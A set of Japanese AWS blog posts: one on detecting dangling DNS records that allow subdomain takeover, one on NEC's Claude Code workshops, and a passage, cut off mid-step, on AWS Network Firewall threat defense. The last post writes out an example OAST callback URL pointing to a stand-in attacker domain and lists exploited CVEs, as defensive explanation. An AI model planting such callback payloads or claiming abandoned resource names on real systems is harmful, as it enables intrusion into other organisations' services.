レコードの削除を忘れると、サイトにアクセスしたユーザーには、バケットが存在しないことを示すエラーが表示されます。しかし、この時点で脅威アクターがこのエラーに気付いてそのバケット名を取得すると、独自のサイトを構築できてしまいます。ユーザーが subdomain.example.com サイトにアクセスすると、そのサイトが表示されることになります。 図 1 は、静的ウェブサイトをホストするように設定された subdomain.example という名前の S3 バケット (グローバルに一意なバケット名) と、その S3 ウェブサイトエンドポイント subdomain.example.s3-website-us-east-1.amazonaws.com を示しています。 図 1: 静的ウェブサイトとして設定された S3 バケット 図 2 に示すように、Amazon Route 53 を使用して、Amazon のドメイン名に解決される CNAME レコードを作成します。これにより、ユーザーはわかりやすい名前でアクセスでき、URL に含まれる長い S3 ウェブサイト名を覚える必要がなくなります。 図 2: オリジンバケットを指す CNAME レコードが設定された DNS リゾルバー その後、お客様の AWS 管理者は S3 バケットからのコンテンツ配信を停止することにし、 図 3 に示すようにバケットを削除します。 図 3: CNAME レコードを削除せずにリソースを削除 S3 バケットは削除されたものの CNAME レコードが残っているため、DNS レコードはダングリング状態になります。脅威アクターはこの状況を突き止め、 図 4 に示すように、自身が管理する AWS アカウントで同じグローバル名 subdomain.example を持つ新しい S3 バケットを作成します。これにより脅威アクターは、この新しいバケットからコンテンツを配信できるようになり、その中には悪意のあるコンテンツが含まれる可能性もあります。ユーザーはこの切り替えに気付かず、見覚えのある URL から配信されているように見えるため、コンテンツを信頼して subdomain.example.com へのアクセスを続けます。 図 4: サブドメイン乗っ取りの発生 サブドメイン乗っ取りによって想定される影響 次のような影響が考えられます。 評判へのリスク: DNS レコードが指している脅威アクターのサイトから配信されるコンテンツはお客様が管理できないため、組織の評判が損なわれるリスクがあります。 フィッシングキャンペーンにさらされる可能性: 組織内のユーザーがサブドメインをブラウザにブックマークしている場合、リソースが既に利用できないことを知らないまま、マルウェアをホストしているサイトや、ユーザーの認証情報を詐取するフィッシングに使用されているサイトに、何の疑いもなくアクセスしてしまう可能性があります。 ブロック: サブドメインが悪意のあるアクティビティを理由にセキュリティベンダーからフラグ付けされると、業務に影響が及ぶ可能性があります。 経済的損失: サブドメイン乗っ取りのインシデントに対応する間、サービス提供が中断される可能性があり、経済的な影響が生じる場合があります。 プロアクティブな検出 AWS Config によるプロアクティブな検出 プロアクティブに検出するには、AWS Config を使用して Route 53 の CNAME レコードを継続的に監視し、ターゲットのリソースがアカウント内に存在することを確認します。 前提条件: この方法では、監視対象のリソースタイプ (S3 バケット、CloudFront ディストリビューション、Elastic Beanstalk 環境) に対して AWS Config レコーダーを有効にしておく必要があります。AWS Config で記録されていないリソースタイプは、インベントリチェックに表示されません。詳細については、「 コンソールを使用した AWS Config のセットアップ 」を参照してください。 DNS 解決チェックではなく AWS Config インベントリを使用する理由 一般的な方法は、CNAME が有効なエンドポイントに解決されるかどうかを確認することです。しかし、この方法には重大な欠陥があります。攻撃者が既にリソースを取得している場合、DNS 解決は成功します。ただし、その解決先はお客様のリソースではなく攻撃者のリソースです。応答しているリソースがお客様の所有物ではないことに気付く手がかりはありません。 AWS Config に記録された設定項目をクエリすれば、その DNS 名で単に 何か が応答するかどうかではなく、リソースが お客様の アカウントのインベントリに存在するかどうかを確認できます。この方法なら、乗っ取りが既に発生した後でも、ダングリング CNAME を正しく特定できます。 実装方法: アカウントレベルと組織レベルのスコープ リファレンス実装では、単一のアカウント内の AWS Config インベントリをクエリします。そのため、アカウント A の CNAME レコードが、同じ AWS 組織内のアカウント B に正当に存在するリソースを指している場合でも、ルールはそのレコードを NON_COMPLIANT としてフラグ付けします。 アカウント間でリソースを共有している組織では、AWS Config アグリゲータを使用するようにソリューションを変更できます。AWS Config アグリゲータは、組織内のすべてのアカウントを対象にリソースインベントリをクエリします。これは、IAM Access Analyzer がアカウントレベルと組織レベルの両方のスコープをサポートしているのと同様の考え方です。この方法を使用するには、組織レベルの AWS Config アグリゲータを事前に設定しておく必要があります。また、Lambda 関数の IAM ロールには config:SelectAggregateResourceConfig 権限が必要です。 AWS は、まずはシンプルなアカウントレベルのスコープから始め、環境にクロスアカウントのリソース共有が含まれる場合は組織レベルに拡張することをお勧めします。 基本的な考え方は、Route 53 ホストゾーンの CNAME レコードをクエリするカスタム AWS Config ルールを作成することです。このルールは、各 CNAME のターゲットを解析し、S3、CloudFront、Elastic Beanstalk などの既知の AWS リソースパターンを指しているかどうかを判断します。パターンに一致した CNAME ごとに、ルールはターゲットを AWS Config インベントリと照合し、リソースが実際にアカウント内に存在するかどうかを確認します。リソースが見つからない場合、ルールは CNAME レコードを NON_COMPLIANT としてマークし、レビューが必要なものとして提示します。 AWS Config ルールでは、次の既知の AWS リソースパターンを対象とします。 S3: *.s3.amazonaws.com, *.s3-website-<region>.amazonaws.com 訳注: S3 ウェブサイトエンドポイントは、リージョンによって s3-website.<region>.amazonaws.com (ドット形式) になる場合もあるため、検出パターンではこの形式も考慮してください。参照: Amazon S3 ユーザーガイドの「 ウェブサイトエンドポイント 」 CloudFront: *.cloudfront.net Elastic Beanstalk: *.elasticbeanstalk.com 注: 外部のサードパーティサービスを指す CNAME レコードは、参照先のリソースが AWS Config インベントリに含まれないため、この検出メカニズムの対象外です。 AWS Config ルールによる NON_COMPLIANT の検出結果は、AWS Security Hub に送信して一元的に可視化したり、SNS 通知をトリガーしてセキュリティチームにアラートを送ったりできます。 図 5: ダングリング DNS 検出ソリューション リファレンス実装: AWS は、この検出方法の完全な実装を、 オープンソースのソリューションとして公開 しています。このソリューションでデプロイされる Lambda 関数は、すべての Route 53 ホストゾーンから CNAME レコードを検出し、パターンマッチングを使用して S3、CloudFront、Elastic Beanstalk を指すターゲットを特定します。続いて、AWS Config インベントリをクエリし、各ターゲットリソースがアカウント内に引き続き存在するかどうかを確認します。ダングリングレコードを検出すると、Security Hub で重要度 HIGH の検出結果を生成します。オプションで SNS 通知を送信し、セキュリティチームにアラートを送ることもできます。また、継続的なコンプライアンス追跡のための CloudWatch メトリクスダッシュボードも含まれています。 デプロイ: # Clone the repository git clone https://github.com/aws-samples/sample-dangling-dns-detection cd sample-dangling-dns-detection # Build the Lambda deployment package ./scripts/package.sh # Upload to S3 aws s3 cp dist/dangling-dns-detection.zip s3://YOUR_BUCKET/ # Deploy the CloudFormation stack aws cloudformation deploy \ --template-file infrastructure/template.yaml \ --stack-name dangling-dns-detection \ --parameter-overrides \ LambdaCodeS3Bucket=YOUR_BUCKET \ EvaluationFrequency=TwentyFour_Hours \ --capabilities CAPABILITY_NAMED_IAM このスタックは、指定したスケジュール (デフォルト: 24 時間ごと) で実行される AWS Config カスタムルールを作成します。このルールは、すべての CNAME レコードを評価し、コンプライアンスステータスを報告します。 影響の緩和 サブドメイン乗っ取りを緩和するには、予防のための手順と、発生時の対応能力の両方が必要です。 予防: 標準作業手順 最も効果的な緩和策は、リソースのプロビジョニング解除に関する標準作業手順を定め、基盤となるリソースより先に DNS レコードを確実に削除することです。 DNS ゾーン内で、プロビジョニング解除を予定しているリソースの完全修飾ドメイン名 (FQDN) を指す CNAME レコードを削除します。 DNS の TTL が期限切れになるまで待ってから、リソースを削除します。DNS リゾルバーは TTL の期間中レコードをキャッシュします (例えば、TTL が 3,600 の場合、リゾルバーは最大 1 時間、古いレコードを返す可能性があります)。TTL が期限切れになる前にリソースを削除すると、キャッシュされた CNAME エントリによってトラフィックがまだそのリソースに向けられている間に、脅威アクターがリソース名を取得できてしまう可能性があります。 不要になったリソースをプロビジョニング解除します。 削除した CNAME レコードについて DNS チェックを実行し、その名前がリソースに解決されなくなったことを確認します。 重要な原則: 必ず最初に DNS レコードを削除し、TTL が期限切れになるのを待ってから、リソースを削除してください。この順序を守ることで、ダングリングレコードが悪用される隙をなくすことができます。 予防: S3 のアカウントリージョナル名前空間 前述のとおり、AWS は 2026 年 3 月に Amazon S3 汎用バケットのアカウントリージョナル名前空間 を導入しました。これは S3 固有の乗っ取り経路の緩和に向けた意義のある一歩ですが、運用上の重要な制限事項に注意する必要があります。 既存のバケットには適用されません。 グローバル名前空間で既に作成されたバケットは、アカウントリージョナル名前空間に移行できません。これらのバケット名はグローバルに一意のままであり、バケットを削除すると誰でもその名前を取得できます。 グローバル名前空間が引き続きデフォルトです。 コンソール、CLI、SDK のいずれで新しいバケットを作成する場合も、グローバル名前空間がデフォルトで選択されたままです。新しいオプションを知らないお客様は、今後もグローバルスコープのバケットを作成し続けることになります。 既存の IaC テンプレートは更新が必要です。 アカウントリージョナル名前空間の使用を明示的に選択していない既存の Infrastructure as Code (IaC) テンプレート (CloudFormation、CDK、Terraform) では、引き続きグローバル名前空間でバケットがプロビジョニングされます。CloudFormation の場合は、BucketNamespace プロパティを account-regional に設定します。その他の IaC ツールについては、それぞれのドキュメントで同等の設定を確認してください。組織は、テンプレートを監査し、オプトインするよう更新する必要があります。 こうした理由から、この記事で説明したダングリング DNS の検出方法は引き続き不可欠です。既存の S3 インフラストラクチャを持つ組織や、同等の名前空間のスコープ設定が用意されていない CloudFront および Elastic Beanstalk のリソースについては、特に重要です。 対応: 通知と修復 ダングリング DNS レコードが検出されると、「プロアクティブな検出」セクションで説明したリファレンスソリューションは、AWS Security Hub で重要度 HIGH の検出結果を自動的に作成し、AWS Config で CNAME レコードを NON_COMPLIANT として報告します。デプロイ時に SNS トピック ARN を指定すると、E メール、Slack、その他のチャネルを通じて通知を送信し、セキュリティチームや運用チームにアラートを送ることもできます。本番環境では、ヒューマンインザループのワークフローを検討してください。チームメンバーが通知を確認し、DNS レコードの削除を実行前に承認する仕組みです。これにより、一時的な問題の発生時に正当なレコードを誤って削除することを防げます。 リファレンスソリューションには、コンプライアンスステータスと評価メトリクスを経時的に追跡するための CloudWatch ダッシュボードも含まれています。これにより、チームはホストゾーン全体の DNS の健全性を継続的に可視化できます。 注: 完全に自動化された修復 (DNS レコードの自動削除) にはリスクが伴い、誤検知によって正当なサービスが中断される可能性があります。AWS は、まずは検出と通知から始め、検出精度と運用の成熟度に応じて自動化を検討することをお勧めします。 まとめ サブドメイン乗っ取りは、防止可能な設定ミスでありながら、組織に重大な影響を及ぼす可能性があります。多層防御のアプローチを取ることで、最も効果的に保護できます。 予防: 基盤となるリソースのプロビジョニングを解除する前に DNS レコードを削除する標準作業手順を導入します。 検出: AWS Config カスタムルールを使用して、アカウント内に存在しなくなったリソースを指す CNAME レコードをプロアクティブに特定します。 対応: SNS または Security Hub を通じて通知を設定し、ダングリングレコードが検出されたときにチームが迅速に対応できるようにします。 監視: CloudWatch ダッシュボードを使用して継続的な可視性を確保し、DNS の健全性とコンプライアンスステータスを追跡します。 重要なのは、DNS を適切に管理すること、つまり CNAME レコードが存在しないリソースを指している状況を把握することが、第一の防御策になるという点です。AWS Config による自動検出は、運用手順が機能しなかった場合のセーフティネットになります。さらに、問題を検出したときにすぐ実行できる対応用のプレイブックを用意しておけば、影響を抑え、平均復旧時間を短縮できます。 Matthew Gurr Matthew は、AWS Customer Incident Response Team (AWS CIRT) のアジアパシフィック地域における Senior Incident Response lead です。お客様がセキュリティイベントに事前に備えられるよう支援することに情熱を注いでいます。余暇には、サイクリング、音楽、読書を楽しんでいます。 Luis Pastor Luis は AWS の Senior Security Solutions Architect で、Infrastructure Security and Compliance Technical Field Communities を率いています。金融サービス、ヘルスケア、小売の各業界のエンタープライズのお客様に向けてセキュリティアーキテクチャを推進しており、クラウドセキュリティの変革と規制コンプライアンスフレームワークを専門としています。AWS に入社する前は、ハイブリッドクラウド環境でセキュリティソリューションを設計していました。 Geoff Sweet Geoff は 1990 年代後半からこの業界に携わっています。電気工学の分野でキャリアをスタートし、ドットコムブームの時期に IT 業界に入りました。これまでに、システムアーキテクト、ネットワークアーキテクト、そしてここ数年はセキュリティアーキテクトなど、さまざまな役割を担ってきました。Geoff はインフラストラクチャセキュリティを専門としています。 Ariam Michael Ariam は AWS の Solutions Architect です。Worldwide Public Sector のさまざまなお客様、特に SLG (州政府・地方自治体) および連邦政府の民生機関のお客様を支援してきました。セキュリティ、特にデータ保護に情熱を注いでおり、お客様による暗号化の実装やベストプラクティスの実践を支援しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

日本電気株式会社（以下、NEC）・Anthropic Japan 合同会社（以下、Anthropic）のご協力を得て、AWS がお届けします。本稿では、大規模な組織で生成 AI ツールの展開・定着化に課題や関心をお持ちの方に向けて、NEC の実践事例から組織展開の具体的な施策をご紹介します。 NEC は日本および海外の NEC グループへの Claude 展開を進めています。全社員（最大 12 万人）向けに Claude Desktop on Amazon Bedrock を展開しており、その詳細は こちらの記事 をご参照ください。そして開発の現場では、約 3 万人の AI ネイティブエンジニア体制の構築を目指し、Claude Code on Amazon Bedrock の活用拡大を進めています。その取り組みの一環として、いち早く現場で実践する人材を増やすため、2026 年 7 月 16 日と 8 月 25 日の 2 回にわたり、NEC と AWS の共催で「Claude Code ワークショップ」を開催しました。8 月 25 日の応用編には Anthropic もゲストとして登壇しています。延べ 158 名が参加し、座学だけでなく、実際に手を動かしながら業務適用のアイデアを練り、チーム間で共有する機会となりました。 この 2 回のワークショップを含め、NEC の Claude Code 全社展開を支える SI サービス CoE（Center of Excellence）の取り組みとイベント当日の様子を、NEC 金竹氏からの寄稿、Anthropic 服部氏のコメント、企画・運営を担当した AWS 西部の振り返りを通じてお伝えします。 寄稿：NEC 金竹氏 ― 参加者の反応から見えた、次の一手 開催背景：NEC が考える Claude Code 全社展開の成功要因 NEC エンジニアリング推進統括部 金竹です。NEC は、Amazon Bedrock 上で Claude Code の全社展開を進めています。Claude Code を約 3 万人規模へ展開するにあたり、以下の 3 つを重要な成功要因と考えています。 各事業部門における推進体制 (部門 CoE) の構築 チャンピオン制度 Skills ※1 による知見の標準化 ※1 Skills とは、AI エージェントの機能を拡張するモジュール式の仕組みで、業務の手順やノウハウ、スクリプトなどをまとめておくと、AI エージェントが関連するタスクで自動的に読み込んで使用します。 SI サービス CoE として全社規模のエンジニアに浸透させるには、自部門だけでは手の届く範囲に限界があります。そこで、各事業部門内に、連携する推進体制 (部門 CoE) を構築し、実際に活動をリードするチャンピオンを育成することで、現場の業務特性に即した活用拡大を進めています。 今回のワークショップは、AWS 様と NEC が企画・運営した全社的なイベントで、各事業部門の中でチャンピオン候補となるメンバーの実践スキルを底上げする機会として位置づけていました。8 月 25 日の応用編では Anthropic 様にも参加いただき、三社協働での体制を構築しました。ワークショップは、基本操作の習得と業務適用のアイデア出しを行う「入門編」と、実践的な開発プロセスへの組み込み方を体感する「応用編」の 2 段構成です。特に応用編は、前述の各事業部門の推進体制から推薦された中級者に限定して実施し、今後チャンピオンとして現場をリードしていく人材の実践力を高めることを狙いました。 7 月 16 日：入門編 – Claude Code の基本操作と業務適用アイデア発見 初級・中級者を対象に、基本操作と業務適用のアイデア出しをテーマとしました。座学とハンズオンで Claude Code の基本を学んだ後、グループワークで「自分たちの業務にどう活かせるか」を議論し、その場で Claude Code を使ってプレゼン資料やモックを作成、チーム間で発表・質疑を行いました。 ハンズオンコンテンツは AWS での Claude Code 入門 を活用しました。Workshop Studio で公開されているので、ご興味のある方はぜひお試しください。 8 月 25 日：応用編 – 個人の活用からチームの活用へ、ハーネスエンジニアリング実践 各事業部門の推進体制から推薦された中級者に対象を限定し、「ハーネスエンジニアリング」 ※2 の実践をテーマとしました。座学や NEC 社内標準の Skills の紹介に加えて、SI 事業に関する業務を題材としたゲーム形式のハンズオンを通じて、ハーネスエンジニアリングの考え方を実践していただきました。この回には Anthropic 様からゲストが登壇し、AWS 様と Anthropic 様のパートナーシップの概要や Claude Code を中心とした最新動向を紹介いただくとともに、相談会にも参加いただきました。 ※2 ハーネスエンジニアリングとは、AI モデルの周辺に用意する指示・知識・ツールなどの仕組み（ハーネス）を業務プロセスに応じて設計する考え方です。 参考：NEC と各社の戦略的協業 NEC、米国AWSと日本で初めてコーポレートレベルの戦略的協業を締結 (2020年11月13日): プレスリリース | NEC NEC、Anthropic とエンタープライズAI分野を中心に戦略的協業を開始 (2026年4月23日): プレスリリース | NEC ワークショップを通じて得た手応え 入門編は、定員 100 名に対して募集開始から即満席になるなど想定を超える反響がありました。参加後のアンケートでは、Claude Code を開発業務で活用したいと回答したメンバーが 93%、満足度は 88% に達し、参加者の当事者意識の高さを改めて実感しました。「Claude Code の機能や使い方など、まだまだ使いこなせていないことを実感した」「業務への活用イメージが持てた」という声が多く、チャットでの利用が中心だった参加者にも、アプリケーション作成までの体験を通じて具体的な活用イメージを持ってもらえたと感じています。 応用編では、SI 事業の実務そのものを題材にしたゲーム形式のハンズオンにより、単発のプロンプトでは終わらない、業務プロセスを分解してハーネスを組み込む考え方を体感できました。「すぐにでも実業務に実践可能と感じた」「個人単位でなくグループ単位で活用するための学びと気づきがあった」という声が寄せられており、個人の Claude Code 活用から、チーム・部門単位での活用へ発想を切り替えるきっかけになったと考えています。 現場で見えてきた学びと課題 社内では、人材育成と並行して、開発現場のユースケースをよりクイックにカバーするため、標準的な Skills を展開する取り組みも進めています。要件定義から設計、製造、テストまでの各工程に対応した専門 Skills を整備することで、個々のエンジニアが試行錯誤するコストを抑え、NEC が長年にわたり有識者やベテランエンジニアが蓄積してきた知見・ノウハウを、AI が活用可能な形で現場に展開していくことを目指しています。 今回のワークショップで扱ったハーネスエンジニアリングは、そのための重要な考え方の一つです。イベントで得た学びをその場限りにせず、参加者が実際の開発現場で活用し、得られた知見や改善点を Skills に反映する。そして、その Skills を他のチームやプロジェクトにも展開し、さらに磨き上げていく。この継続的なサイクルを通じて、個人の経験を組織の資産へ変え、AI ネイティブ開発を全社的に加速していくことを期待しています。 一方で、イベント後の相談会では、AI をどこまで信頼し、どう向き合うか、など現場ならではの悩みも多く寄せられました。参加者が実業務での Claude Code 活用に向けて、本格的に動き出したことを示しています。 また、ハンズオン中には、実行環境に起因するトラブルも複数発生しました。展開を広げていくうえでは、環境面を改善し利用者体験を向上していくことも、今後の展開を左右する重要な要素です。 今後の展望 今回のワークショップで高まった熱量を維持して活動を加速するために、NEC では次のような取り組みを進めていきます。 継続的な人材育成施策 — 基本的なトレーニングコンテンツに加えて、各事業部門のチャンピオン向けにはより高度な内容を準備するなど、AWS 様・Anthropic 様とも連携しながら、対象者層別に適切な育成施策を継続していきます。 コミュニティの活性化 — 各現場で良い取り組みを横展開できるように、SI サービス CoE メンバーや各事業部門のチャンピオンを中心とした、事例共有・相互学習の場の形成を支援します。現場発の知見が自然に広がっていく構造を目指します。 ユースケースの拡充と業務プロセスの標準化 — SI サービス CoE や、各事業部門のチャンピオンを起点に、各現場でのユースケースを拡充・蓄積していくとともに、ハーネスエンジニアリングや Skills 整備といった取り組みを通じて、業務プロセスの標準化を進めていきます。個別の活用にとどまらず、組織として再現性のある開発プロセスを確立することを目指します。 これらの取り組みは、NEC だけで完結するものではありません。AWS 様や Anthropic 様にお力添えいただきながら連携して進めていきます。本取り組みを一過性のイベントで終わらせず、全社展開を支える継続的な枠組みに育てていきたいと考えています。 おわりに (AWS 西部) 本ワークショップの企画・運営を担当した AWS カスタマーソリューションマネージャー 西部がワークショップを振り返ります。 まず印象的だったのは、参加者の熱量の高さです。当日は大変盛況で、最後まで議論が絶えませんでした。この熱量の背景には、SI サービス CoE を中心として、現場の関心を日頃から育ててきた素地があります。ツールの導入とあわせて「使いたい人を増やす」土台をどれだけ築けているかが、全社展開の速度を左右することを実感しました。 また、参加者の反応からは、生成 AI 活用の焦点が「個人の生産性向上」から「開発プロセスへの組み込み」へ移りつつあることを確信しました。単発のプロンプトの工夫よりも、業務プロセスにどう組み込むかという議論に参加者の関心が集まっていたのが印象的です。NEC が進める Skills 整備や業務プロセスの標準化は、この転換を組織として先取りする取り組みです。 NEC の強力なリーダーシップのもと、AWS の Amazon Bedrock 構成の知見と業務理解、Anthropic のモデル・プロダクトの知見がこの取り組みを支えています。三社が協力することで単独では得られない価値を生み出せると感じています。この三社の協働について、Anthropic の服部氏は次のように語っています。 「NEC 様とは戦略的協業以降、SI サービス CoE の皆さまと継続的に連携しながら Claude の全社展開をご一緒してきました。今回の Claude Code ワークショップは、NEC 様が築いてこられた推進体制と、AWS 様のご支援があってこそ実現できた取り組みです。相談会では、AI とどう向き合うかといった現場ならではのお悩みを直接伺うことができ、今後の支援のあり方を考えるうえで大きなヒントをいただきました」 ― Anthropic Japan 合同会社 服部 佑樹 氏 2 回のワークショップを通じて、NEC の SI サービス CoE を中心とした Claude Code 活用の裾野を広げることができました。参加者からは全社展開や継続開催を望む声も多く寄せられており、AWS は今後も NEC・Anthropic とともに、各事業部門の推進体制とチャンピオンを軸とした Claude Code 活用の定着化を支援していきます。 日本電気株式会社について NEC は、125 年以上の歴史を有する、AI やサイバーセキュリティ、通信などの技術を強みとするグローバルテクノロジー企業です。社会と産業の AI トランスフォーメーションを推進する IT サービス事業と、日本をはじめ世界の安全保障に貢献する社会インフラ事業を展開しています。業種横断の先進的な知見と最先端技術を結集し体系化した価値創造モデル「BluStellar (ブルーステラ)」を中核に、世界に革新と安心を届け、誰もが人間性を十分に発揮できる社会の実現を目指します。 著者について 金竹 香織 日本電気株式会社 SI サービス CoE 部門 エンジニアリング推進統括部 プロフェッショナル 生成 AI 活用に向けた人材育成に従事。生成 AI 活用人材の育成体系、研修・ワークショップの企画運営等を通じ、社内における開発業務活用の定着化を推進しています。 服部 佑樹 Anthropic Japan 合同会社 Strategic Customer Success Manager 日本のエンタープライズのお客様を担当し、Claude Code や Claude Cowork を活用した AI 導入の計画から、全社での定着、業務成果の創出までを一貫して支援しています。 西部 信博 アマゾンウェブサービスジャパン合同会社 エンタープライズ CSM 部 カスタマーソリューションマネージャー エンタープライズのお客様を中心に、AI・クラウドジャーニーにおける課題特定から解決までをご支援しています。

本ブログは 2026 年 1 月 8 日に公開された AWS Blog “ Real-time malware defense: Leveraging AWS Network Firewall active threat defense ” を翻訳したものです。 サイバー脅威は、従来のセキュリティ防御では対応しきれない速さで進化しています。潜在的なセキュリティ上の問題を抱えるワークロードは、 90 秒以内 に脅威アクターに発見され、3 分以内には悪用の試みが始まります。脅威アクターは攻撃手法を急速に進化させており、新たなマルウェアの亜種、エクスプロイト手法、回避戦術が次々と生まれています。また、インフラストラクチャ (IP アドレス、ドメイン、URL) もローテーションします。ワークロードを効果的に防御するには、脅威データを迅速に保護対策へと落とし込む必要がありますが、インターネット規模で運用する場合、これは容易ではありません。この記事では、 AWS Network Firewall 向けの AWS アクティブ脅威防御 (active threat defense) を使用して、これらの潜在的な脅威を検出・ブロックし、クラウドワークロードを保護する方法を説明します。 アクティブ脅威防御は、 MadPot を通じて収集されたリアルタイムのインテリジェンスを活用して、ネットワーク脅威を検出し、ブロックします。MadPot は、攻撃パターンを能動的に監視するために Amazon が使用しているハニーポットセンサーのネットワークです。アクティブ脅威防御のルールにおいて、スピードは目指すべき目標ではなく、前提となる基本原則です。脅威アクターがマルウェアをホストするための新しいドメインを作成したり、新しいコマンドアンドコントロール (C2) サーバーをセットアップしたりすると、MadPot はその動きをとらえます。MadPot から新しいインテリジェンスを受け取ると、アクティブ脅威防御は 30 分以内にそのインテリジェンスを自動的に変換し、 Amazon GuardDuty による脅威検出と、 AWS Network Firewall による能動的な保護を実現します。 ただし、スピードだけでは十分ではありません。適切な脅威指標を、対応する緩和策に適用する必要もあります。アクティブ脅威防御は、攻撃をあらゆる段階で阻止します。偵察スキャンをブロックし、マルウェアのダウンロードを防ぎ、侵害されたシステムと、それを操る脅威アクターとの間の C2 通信を遮断します。これにより、一部のレイヤーをすり抜ける攻撃でも阻止できる、多層的な防御アプローチが実現します。 アクティブ脅威防御の仕組み MadPot のハニーポットは、クラウドサーバー、データベース、ウェブアプリケーションを模倣しており、脅威アクターが積極的に探す設定ミスやセキュリティ上の欠陥まで再現しています。脅威アクターがおとりに対して攻撃を開始すると、MadPot はハニーポットに対する攻撃ライフサイクル全体を捕捉します。そして、脅威アクターのインフラストラクチャをマッピングし、新たな攻撃手法をとらえ、これまでにない脅威パターンを特定します。さらに AWS は、MadPot での観測結果に基づいてインターネットをより広範囲にスキャンし、類似したフィンガープリントを持つインフラストラクチャも特定しています。 図 1: アクティブ脅威防御の統合の概要 図 1 は、この仕組みを示しています。脅威アクターが MadPot のハニーポットにマルウェアのペイロードを配信すると、AWS は隔離された環境で悪意のあるコードを実行し、マルウェアの動作 (接続先のドメイン、ドロップするファイル、悪用するプロトコル) から侵害の痕跡 (indicators of compromise) を抽出します。この脅威インテリジェンスは、アクティブ脅威防御の自動保護に活用されます。アクティブ脅威防御は、指標を検証してファイアウォールルールに変換し、パフォーマンスへの影響をテストしたうえで、Network Firewall にグローバルにデプロイします。これらすべてを 30 分以内に完了します。また、脅威は常に進化するため、アクティブ脅威防御は脅威アクターのインフラストラクチャの変化を監視し、脅威アクターがドメインをローテーションしたり、IP アドレスを変更したり、戦術を変えたりするたびに、保護ルールを自動的に更新します。このように、アクティブ脅威防御は脅威の進化に合わせて自動的に適応します。 図 2: スイスチーズモデル アクティブ脅威防御は、防御における スイスチーズモデル (図 2 を参照) を採用しています。これは、単独で完璧なセキュリティコントロールは存在しないものの、不完全なレイヤーを複数重ねることで堅牢な保護を実現できるという考え方です。どの防御レイヤーにも穴があります。脅威アクターは IP への直接接続によって DNS フィルタリングを回避でき、暗号化されたトラフィックは HTTP インスペクションをすり抜け、ドメインフロンティングや IP のみの接続は TLS の SNI (Server Name Indication) 分析を回避します。そこでアクティブ脅威防御は、複数のインスペクションポイントにわたって脅威指標を適用します。脅威アクターが 1 つのレイヤーを回避しても、他のレイヤーで検出してブロックできます。MadPot が悪意のあるドメインを特定すると、Network Firewall はそのドメインをブロックするだけでなく、DNS クエリの拒否、HTTP Host ヘッダーのブロック、SNI を使用した TLS 接続の防止、解決された IP アドレスへの直接接続のドロップを行うルールも作成します。スイスチーズのスライスを重ねると穴が一直線に並ぶことはほとんどないのと同様に、アクティブ脅威防御は、脅威アクターが標的に至る完全な経路を見つける可能性を低減します。 アクティブ脅威防御による攻撃キルチェーンの阻止 ここでは、アクティブ脅威防御がこのスイスチーズアプローチによって、攻撃ライフサイクル全体にわたり脅威アクターをどのように阻止するかを見ていきましょう。図 3 は、脅威アクターが標的を侵害し、悪意のあるアクティビティのために永続的な制御を確立する際の攻撃手法の例を示しています (詳細は以降のセクションで説明します)。現代の攻撃では、あらゆる段階でネットワーク通信が必要になります。アクティブ脅威防御は、まさにその通信に対して多層的な防御を構築します。この攻撃フローは、各段階で悪意のある通信を傍受してブロックできる、ネットワークレイヤーのセキュリティコントロールの重要性を示しています。こうしたコントロールがあれば、初期の脆弱性が存在する場合でも、侵害の成立を防ぐことができます。 図 3: OAST 手法を使用した攻撃シナリオのフローの例 ステップ 0: インフラストラクチャの準備 攻撃を開始する前に、脅威アクターは運用インフラストラクチャをプロビジョニングします。例えば、 OAST (out-of-band application security testing) のコールバックエンドポイントのセットアップがこれに当たります。OAST は、脅威アクターが別の通信チャネルを通じてエクスプロイトの成功を確認するために使用する偵察手法です。また、被害者に感染させるペイロードをホストするマルウェア配信サーバーや、侵害したシステムを管理するための C2 サーバーもプロビジョニングします。脅威アクターがおとりシステムに対してこのインフラストラクチャを使用すると、MadPot のハニーポットがそれを検出し、その指標をアクティブ脅威防御の保護ルールに取り込みます。 ステップ 1: 標的の特定 脅威アクターは、自動化されたインターネットスキャンや、アンダーグラウンドマーケットでの標的リストの購入によって、潜在的な被害者のリストを作成します。探しているのは、脆弱なソフトウェアを実行しているワークロード、公開されたサービス、よくある設定ミスなどです。MadPot のハニーポットシステムでは、潜在的な脅威アクターとのこうしたやり取りが毎日 7 億 5,000 万件以上発生しています。新しい MadPot センサーは 90 秒以内に発見されます。こうした可視性により、通常であれば見過ごされてしまうパターンが明らかになります。アクティブ脅威防御は偵察そのものを阻止するわけではありませんが、MadPot の可視性を活用して後続の段階を阻止します。 ステップ 2: 脆弱性の確認 脅威アクターは、エクスプロイトのペイロード内に OAST コールバックの仕組みを埋め込み、標的ワークロードの脆弱性を確認しようとします。例えば、 http://malicious-callback[.]com/verify?target=victim のような悪意のある URL を、ウェブフォーム、HTTP ヘッダー、API パラメータ、その他の入力フィールドに挿入します。正規のセキュリティスキャナーでも使われている OAST ドメイン名を使用する脅威アクターもいれば、検出を回避するために独自に用意したドメインを使用する脅威アクターもいます。次の表は、過去 90 日間に脅威アクターが OAST リンクを使用して MadPot に対して悪用を試みた脆弱性の例 18 件を示しています。 CVE ID 脆弱性名 CVE-2017-10271 Oracle WebLogic Server のデシリアライゼーションによるリモートコード実行 (RCE) CVE-2017-11610 Supervisor XML-RPC の認証バイパス CVE-2020-14882 Oracle WebLogic Server コンソールの RCE CVE-2021-33690 SAP NetWeaver のサーバーサイドリクエストフォージェリ (SSRF) CVE-2021-44228 Apache Log4j2 の RCE CVE-2022-22947 VMware Spring Cloud gateway の RCE CVE-2022-22963 VMware Tanzu Spring Cloud function の RCE CVE-2022-26134 Atlassian Confluence Server および Data Center の RCE CVE-2023-22527 Atlassian Confluence Data Center および Server のテンプレートインジェクションの脆弱性 CVE-2023-43208 NextGen Healthcare Mirth connect の RCE CVE-2023-46805 Ivanti Connect Secure および Policy Secure の認証バイパスの脆弱性 CVE-2024-13160 Ivanti Endpoint Manager (EPM) の絶対パストラバーサルの脆弱性 CVE-2024-21893 Ivanti Connect Secure、Policy Secure、Neurons の SSRF の脆弱性 CVE-2024-36401 OSGeo GeoServer GeoTools の eval インジェクションの脆弱性 CVE-2024-37032 Ollama API サーバーのパストラバーサル CVE-2024-51568 CyberPanel の RCE CVE-2024-8883 Keycloak のリダイレクト URI 検証の脆弱性 CVE-2025-34028 Commvault Command Center のパストラバーサルの脆弱性 ステップ 3: OAST コールバック 脆弱なワークロードがこれらの悪意のあるペイロードを処理すると、脅威アクターの OAST 